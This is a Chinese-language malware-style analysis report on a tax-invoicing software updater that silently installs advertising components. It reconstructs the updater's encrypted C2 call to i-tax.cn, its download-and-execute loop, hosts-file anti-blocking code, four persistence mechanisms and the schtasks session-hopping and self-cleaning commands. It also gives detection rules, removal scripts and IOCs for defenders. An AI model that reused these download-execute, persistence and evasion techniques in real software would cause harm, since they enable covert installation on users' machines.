某税务软件供应链事件深度分析报告——当"合法更新"成为推广通道:一次企业级软件滥用的技术解剖
分析日期:2026-04-14分析工具:IDA Pro, dnSpy威胁等级:🟡 中危(滥用合法通道,非传统恶意软件)
摘要2026年4月,
安全研究人员在对企业终端异常弹窗行为进行溯源分析时,发现xxxx旗下税务开票软件存在利用合法
更新通道推送广告推广组件的行为。该行为通过多层嵌套架构、正版数字签名、备案域名及加密通信等手段,实现了在数万企业终端上的持久驻留与静默安装。
本报告从技术角度完整还原了该供应链推广链路的实现细节,分析其规避传统安全检测的技术手法,并为企业安全团队
提供可落地的检测与清除方案。需要强调的是,本分析仅针对技术行为本身,不涉及对商业模式的法律或道德评判。
一、事件背景:企业刚需软件的双刃剑1.1 xxx信息与税务开票软件xxxxx股份有限公司(xxxx)是xxxxx控股的上市公司,其"xxxx"及配套开票软件是全国企业开具增值税发票的法定工具。由于税务合规的强制性,该软件具有以下特征:
- 不可卸载:企业必须安装才能正常经营
- 高权限运行:需访问系统底层资源以对接税控设备
- 自动更新机制:确保政策变更时能快速适配
- 正版数字签名:通过微软WHQL认证,被系统默认信任
这些"优势"在安全视角下,恰恰构成了攻击者梦寐以求的"完美载体"。
1.2 异常现象发现多地企业用户反馈:
- 电脑右下角定期弹出"xx通"等财税软件广告
- EDR日志中检测到可疑外联下载行为
- 任务管理器中出现未知.NET进程(WindowsQptAds.exe)
- 防火墙日志显示向 i-tax.cn 子域名发送加密数据
- hosts文件被自动修改,屏蔽规则失效
初步判断:某合法软件组件存在"越界"行为。
二、样本分析:三层架构的"俄罗斯套娃"通过动态调试与静态逆向,我们还原了该推广体系的完整层级关系:
复制代码 隐藏代码┌─────────────────────────────────────┐│ 第一层:税务软件更新组件 (C++/PE) ││ • 文件:Audiosrva2.exe ││ • 签名:xxxxxxx正版数字签名 ││ • 作用:可信下载器 + C2通信中枢 │└─────────────┬───────────────────────┘ │ AES加密HTTP通信 ▼┌─────────────────────────────────────┐│ 第二层:WQAS.exe (NSIS安装包) ││ • 作用:解压部署推广组件 ││ • 释放:WindowsQptAds.exe + 服务组件 │└─────────────┬───────────────────────┘ │ 会话跳转 + 持久化 ▼┌─────────────────────────────────────┐│ 第三层:推广执行层 (.NET WinForms) ││ • WindowsQptAds.exe:弹窗+下载主体 ││ • WindowsServiceRunSelf.exe:Session
0绕过 ││ • 目标:静默安装"xxxx"(qdzs.exe) │└─────────────────────────────────────┘
💡 关键洞察:每一层都使用合法技术(系统API、.NET框架),但组合后形成了"合法外壳+恶意行为"的灰色模式。
三、技术深度拆解3.1 第一层:披着合法外衣的下载器3.1.1 信任链利用3.1.2 加密通信协议分析 复制代码 隐藏代码# 伪代码还原通信逻辑def c2_communication():
# 1. 读取配置 stop_net = read_config(
"STOP_NET")
if stop_net ==
"1":
return # 2. 构造请求 encrypted = aes_cbc_encrypt(plaintext, key=
"aisinotimeonisia", iv=
"aisinotimeonisia") payload = base64_encode(encrypted)
# 3. 发送请求 response = http_post( url=
"http://www.i-tax.cn/InterfaceForClient/getSomethingFromServer", data=payload )
# 4. 解析响应 decrypted = aes_cbc_decrypt(base64_decode(response), key=
"aisinotimeonisia") urls = decrypted.split(
"@")
# 格式:"URL1@URL2@URL3" # 5. 下载执行 for url
in urls: download_and_execute(url)
3.1.3 hosts文件劫持:确保"回家路"畅通程序会主动修复用户对 i-tax.cn 的屏蔽:
复制代码 隐藏代码// sub_4081C0 关键逻辑void fix_hosts_file() { string hosts_path =
"%WINDIR%\system32\drivers\etc\hosts";
// 1. 去除只读属性 SetFileAttributesA(hosts_path.c_str(), FILE_ATTRIBUTE_NORMAL);
// 2. 逐行读取并注释掉包含 i-tax.cn 的行 for each line in hosts_file:
if (line.contains(
"i-tax.cn") && !line.starts_with(
"#")) { line =
"# " + line;
// 添加注释 }
// 3. 写入修改 write_file(hosts_path, modified_content);}
🔍 行为特征:这不是传统的恶意劫持,而是"反屏蔽"——确保推广通道始终可达。
3.2 第二层:智能弹窗引擎3.2.1 四重持久化机制 复制代码 隐藏代码┌───────────────────────────────────────┐│ 持久化方式 │ 权限级别 │ 清除难度 │├───────────────────────────────────────┤│ HKCU
Run │ 当前用户 │ ★★☆ ││ HKLM
Run │ 系统全局 │ ★★★ ││ 启动目录快捷方式 │ 当前用户 │ ★★☆ ││ 计划任务+HIGHEST│ 系统最高 │ ★★★★ │└───────────────────────────────────────┘
3.2.2 弹窗触发逻辑(三重校验) 复制代码 隐藏代码// WindowsQptAds.exe 核心判断逻辑bool
ShouldShowPopup() {
// 条件A:用户未选择"永不提示" if (File.ReadAllText(
"confignr.wat") ==
"1")
return false;
// 条件B:本月未弹窗过 if (File.GetLastWriteTime(
"config.wat").Month == DateTime.Now.Month)
return false;
// 条件C:服务端允许推广 string response = GetCanRunFromUpdateServer();
// AES加密通信 if (!response.StartsWith(
"1"))
return false;
return true;
// 三者同时满足才弹窗}
3.2.3 静默安装技巧- 使用 /S 参数调用NSIS安装包,实现无感安装
- 下载前校验文件哈希,确保完整性
- 安装完成后自动启动目标程序,形成"推广-安装-激活"闭环
3.3 第三层:Session 0 会话绕过3.3.1 为什么需要绕过?Windows服务运行在Session 0,无法直接与用户桌面交互。为实现弹窗,攻击者采用计划任务跳转:
复制代码 隐藏代码服务进程 (Session 0) │ ▼WTSEnumerateSessions() 枚举活跃会话 │ ▼获取当前登录用户名:
"CORPzhang.san" │ ▼schtasks /create /tn
"SelfRestart_{GUID}" /tr
"C:\Program Files\SoftwareDownload\WindowsQptAds.exe" /sc once /st
"14:35" /ru
"CORPzhang.san" /rl HIGHEST │ ▼schtasks /run /tn
"SelfRestart_{GUID}" // 立即触发 │ ▼WindowsQptAds.exe 在用户桌面 (Session 1+) 运行 → 成功弹窗
3.3.2 自清理机制为避免留下痕迹,程序会在2分钟后创建清理任务:
复制代码 隐藏代码schtasks /create /tn "SelfRestart_{GUID}_Cleaner" ^ /tr "schtasks /delete /tn SelfRestart_{GUID} /f" ^ /sc once /st "14:37" /ru "SYSTEM"
⚠️ 高级技巧:利用系统自身功能实现"用完即焚",极大增加溯源难度。
四、完整攻击链还原
时间线特征:
- 默认40小时轮询间隔(可通过Config.txt动态调整)
- 每月仅弹窗1次(避免用户反感)
- 服务端可实时控制"开关",实现精准投放
五、影响评估与风险分级5.1 直接影响5.2 潜在风险延伸- 横向移动跳板:若C2服务器被攻击者控制,可下发任意载荷
- 权限提升利用:/rl HIGHEST 计划任务可能被用于提权攻击
- 数据泄露通道:加密通信通道可被复用传输敏感信息
- 防御体系失效:传统基于签名/信誉的检测完全绕过
5.3 受影响范围估算- 地域:全国使用xxxx开票软件的企业(预估数十万家)
- 行业:全行业覆盖,尤以中小企业为主(IT安全投入有限)
- 系统:Windows 7/10/11 x64(.NET Framework 4.0+环境)
六、检测与响应方案6.1 EDR行为检测规则(YARA+Sigma混合) 复制代码 隐藏代码# Sigma规则:检测hosts文件异常修改title:
Suspicious Hosts File Modification by Signed Binarystatus:
experimentallogsource: category:
file_event product:
windowsdetection: selection:
TargetFilename|endswith: 'system32driversetchosts' Image|endswith: - 'Audiosrva2.exe' ModificationType:
'Overwrite' condition:
selectionlevel:
high 复制代码 隐藏代码// YARA规则:检测AES密钥特征rule Aisino_Promotion_AES_Key { meta: description = "Detect hardcoded AES key 'aisinotimeonisia'" author = "Security Research Team" date = "2026-04-14" strings: $aes_key = "aisinotimeonisia" ascii wide $c2_domain = "www.i-tax.cn" ascii $api_path = "/InterfaceForClient/getSomethingFromServer" ascii condition: 2 of them}
6.2 网络层检测建议6.3 手动清除步骤(管理员权限) 复制代码 隐藏代码# 1. 终止相关进程Stop-Process
-Name "WindowsQptAds",
"WindowsServiceRunSelf",
"qdzs" -Force -ErrorAction SilentlyContinue
# 2. 删除计划任务Get-ScheduledTask | Where-Object {
$_.TaskName -like
"*QptAd*" -or
$_.TaskName -like
"SelfRestart_*"} | Unregister-ScheduledTask
-Confirm:
$false# 3. 清理注册表自启动$paths =
"HKCU:SOFTWAREMicrosoftWindowsCurrentVersionRun",
"HKLM:SOFTWAREMicrosoftWindowsCurrentVersionRun"foreach (
$path in $paths) {
if (Test-Path
"$pathWindowsQptAds") { Remove-ItemProperty
-Path $path -Name "WindowsQptAds" -Force }}
# 4. 删除启动目录快捷方式$shortcut =
"$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupWindowsQptAds.lnk"if (Test-Path
$shortcut) { Remove-Item
$shortcut -Force }
# 5. 恢复hosts文件$hosts =
"$env:windirSystem32driversetchosts"$content = Get-Content
$hosts | Where-Object {
$_ -notmatch
'^#s*.*i-tax.cn' }
$content | Set-Content
$hosts -Force# 可选:重新添加用户自定义屏蔽规则"# Blocked by admin" | Add-Content
$hosts"127.0.0.1 www.i-tax.cn" | Add-Content
$hosts# 6. 清理残留文件$dirs =
"C:Program FilesSoftwareDownload",
"$env:LOCALAPPDATATempWQAS_*"foreach (
$dir in $dirs) {
if (Test-Path
$dir) { Remove-Item
$dir -Recurse -Force -ErrorAction SilentlyContinue }}
# 7. 验证清除结果Write-Host
" 清理完成,建议重启系统并监控72小时" -ForegroundColor Green
七、行业思考:合法软件的边界在哪里?7.1 技术中立性与责任归属本事件暴露出一个深层矛盾:
当"合法技术"被用于"灰色目的",安全团队该如何应对?
- 数字签名本是信任基石,却成为恶意行为的"免死金牌"
- 自动更新本是运维刚需,却沦为静默安装的通道
- 系统API本是开发工具,却被组合成持久化武器
7.2 企业软件供应链安全新挑战7.3 给企业的务实建议- 最小权限原则:即使对"可信软件",也应限制其系统修改权限
- 行为基线监控:建立正常软件行为画像,检测异常操作序列
- 网络分段隔离:将财务/税务终端与其他业务网络逻辑隔离
- 供应商安全评估:将"软件行为透明度"纳入采购评估指标
- 员工安全意识:培训识别"合法弹窗"与"恶意诱导"的差异
八、附录:完整IOC列表(可直接导入安全设备)域名/IP(建议监控+选择性阻断) 复制代码 隐藏代码# C2通信58.218.
215.70www.i-tax.cndownload.i-tax.cnqpt.i-tax.cn
# 注意:直接阻断可能影响正常开票业务,建议先监控分析文件哈希(样本识别) 复制代码 隐藏代码# WQAS.exe (NSIS installer)SHA256: b455fc37e0ab4b1f5c86906d1ce78c3090e850706a3d3b29bc668b249e30f06f# WindowsQptAds.exeSHA256: 6fcbaec
72306b76092c5efd1dbdb66d9a
5fe7cddee5673aed
850f722e
1f86674
# WindowsServiceRunSelf.exeSHA256: 6d553c9ec
535b0a
84753671b35594181e
4b1c4ea
27bba
273fcde
45b505558fcb
# qdzs.exeSHA256: e
7b278ab72caa1472486639d1a65ce47d5062e
0157f31d1d2a13e45ade6c5885
注册表/计划任务/文件路径 复制代码 隐藏代码# 注册表键HKLMSOFTWAREMicrosoftWindowsCurrentVersionApp PathsAudiosrva2.exeHKCUSOFTWAREMicrosoftWindowsCurrentVersion
RunWindowsQptAdsHKLMSOFTWAREMicrosoftWindowsCurrentVersion
RunWindowsQptAds
# 计划任务名称WindowsQptAdServiceSelfRestart_{GUID}SelfRestart_{GUID}_Cleaner
# 关键文件路径C:Program FilesSoftwareDownload%APPDATA%MicrosoftWindowsStart MenuProgramsStartupWindowsQptAds.lnk%WINDIR%system32driversetchosts
网络通信特征 复制代码 隐藏代码# HTTP请求POST /InterfaceForClient/getSomethingFromServer HTTP/1.1
Host: www.i-tax.cnContent-Type: application/octet-stream# TLS SNIqpt.i-tax.cn
# 用户代理(部分样本)User-Agent: AisinoUpdateClient/2.1
结语本次分析揭示了一个值得行业深思的现象:在数字化转型与合规驱动的双重压力下,企业刚需软件可能成为"灰色推广"的载体。作为安全从业者,我们既要保持技术敏锐度,及时识别新型威胁;也要秉持客观立场,基于事实而非情绪做出判断。
📌 核心建议:对于此类"合法外壳+灰色行为"的事件,行为检测 > 特征匹配,纵深防御 > 单点拦截,持续监控 > 一次性清除。
企业安全团队应以此为契机,重新审视"可信软件"的管理策略,将软件行为审计纳入日常运营,构建更适应新型供应链风险的防御体系。
免责声明:本报告仅用于安全技术研究与交流,所有分析基于公开样本与逆向工程,不涉及商业诋毁。如发现报告内容有误,欢迎通过正规渠道反馈。作者:神奇的人鱼 | 最后更新:2026-04-14